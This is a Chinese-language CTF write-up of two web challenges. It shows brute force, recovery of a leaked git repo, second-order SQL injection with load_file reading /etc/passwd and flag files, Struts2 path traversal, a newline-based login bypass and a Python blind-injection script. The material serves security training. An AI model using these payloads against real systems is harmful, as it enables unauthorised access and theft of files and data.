Comment(爆破+git泄漏+二次注入)
通过爆破密码的后三位,获得账号为:zhangwei666
F12查看控制台
使用bugscanteam的githack工具,下载泄漏的源码,根据控制台的提示,完整源码还在历史的commit中
git log –reflog 查看历史记录
查看最新的提交记录,恢复到该版本
git reset –hard [log hash]
git reset –hard e5b2a2443c2b6d395d06960123142bc91123148c
第一次发帖
在category字段输入 ',content=(select load_file('//etc/passwd')),/*
之后点详情,提交留言,留言内容为*/#
查看.DS_Store文件,这里需要hex编码显示
1', content=(selecthex(load_file('/tmp/html/.DS_Store'))),/*
解码得到
flag_8946e1ff1ee3e40f.php
继续读取该文件
1', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*
flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}
这个flag是个假的,这样从复制过去的/var/www/html再次读取
最终得到flag{0dd14aae81d94904b3492117e2a3d4df}
Zhuanxv(文件包含+万能密钥+盲注)
首先通过目录爆破,得到list目录
http://111.200.241.244:62187/list
查看源码
可能存在文件读取
http://111.200.241.244:62187/loadimage?fileName=../../WEB-INF/web.xml
可以看到为struts2框架,该框架主要的配置文件在WEB-INF/classes/struts.xml
根据struts.xml中的class,不断去读取相关class文件,通过jd-gui进行源码阅读
可以看到其在登录时的认证逻辑。
对输入的账号密码,进行去空格和等号处理
且flag位于flag数据库中
后台使用的hive数据库,和mysql的语法类似,由于去掉了空格,可以用换行符替换
构造万能密码
from User where name ='admin' or '1'>'0'or name like 'admin' and password = '" + password + "'
即用户名为admin%27%0Aor%0A%271%27%3E%270%27%0Aor%0Aname%0Alike%0A%27admin
密码随意
最后通过自动化脚本盲注出flag
#!/usr/bin/env python
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://111.200.241.244:62187/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
flag+=p
print i,flag
break
p=chr(j)
得sctf{C46E250926A2DFFD831975396222B08E}